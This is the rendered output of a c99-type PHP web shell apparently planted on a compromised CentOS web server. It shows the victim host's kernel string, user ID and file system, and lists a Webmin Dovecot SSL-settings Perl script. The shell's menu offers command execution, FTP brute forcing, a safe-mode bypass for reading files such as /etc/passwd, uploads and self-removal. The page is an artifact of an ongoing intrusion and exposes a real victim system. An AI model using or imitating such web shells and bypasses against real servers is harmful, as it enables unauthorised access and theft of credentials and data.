!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/dovecot/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit_ssl.cgi (2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Show SSL options

require './dovecot-lib.pl';
&ui_print_header(undef, $text{'ssl_title'}, "");
$conf = &get_config();

print &ui_form_start("save_ssl.cgi", "post");
print &ui_table_start($text{'ssl_header'}, "width=100%", 4);

# SSL cert and key files
if (&find_value("ssl_cert", $conf, 2)) {
    $cert = &find_value("ssl_cert", $conf);
    $cert =~ s/^<//;
    }
else {
    $cert = &find_value("ssl_cert_file", $conf);
    }
print &ui_table_row($text{'ssl_cert'},
        &ui_opt_textbox("cert", $cert, 40, &getdef("ssl_cert_file")), 3,
        [ undef, "nowrap" ]);

if (&find_value("ssl_key", $conf, 2)) {
    $key = &find_value("ssl_key", $conf);
    $key =~ s/^<//;
    }
else {
    $key = &find_value("ssl_key_file", $conf);
    }
print &ui_table_row($text{'ssl_key'},
        &ui_opt_textbox("key", $key, 40, &getdef("ssl_key_file")), 3,
        [ undef, "nowrap" ]);

# SSL key password
$pass = &find_value("ssl_key_password", $conf);
print &ui_table_row($text{'ssl_pass'},
        &ui_opt_textbox("pass", $pass, 20, $text{'ssl_prompt'}), 3,
        [ undef, "nowrap" ]);

# SSL CA file
if (&find_value("ssl_ca", $conf, 2)) {
    $ca = &find_value("ssl_ca", $conf);
    $ca =~ s/^<//;
    }
else {
    $ca = &find_value("ssl_ca_file", $conf);
    }
print &ui_table_row($text{'ssl_ca'},
        &ui_opt_textbox("ca", $ca, 40,
        &getdef("ssl_ca_file", [ [ "", $text{'ssl_none'} ] ])), 3,
        [ undef, "nowrap" ]);

# Parameter regen time
$regen = &find_value("ssl_parameters_regenerate", $conf);
print &ui_table_row($text{'ssl_regen'},
            &ui_opt_textbox("regen", $regen, 5,
                    &getdef("ssl_parameters_regenerate")).
                    " ".$text{'ssl_hours'}, 3);

# Disable plaintext passwords when not SSL
@opts = ( [ 'yes', $text{'yes'} ], [ 'no', $text{'no'} ] );
$plain = &find_value("disable_plaintext_auth", $conf);
print &ui_table_row($text{'ssl_plain'},
    &ui_radio("plain", $plain,
          [ @opts,
        [ '', &getdef("disable_plaintext_auth", \@opts) ] ]), 3);

print &ui_table_end();
print &ui_form_end([ [ "save", $text{'save'} ] ]);

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0095 ]--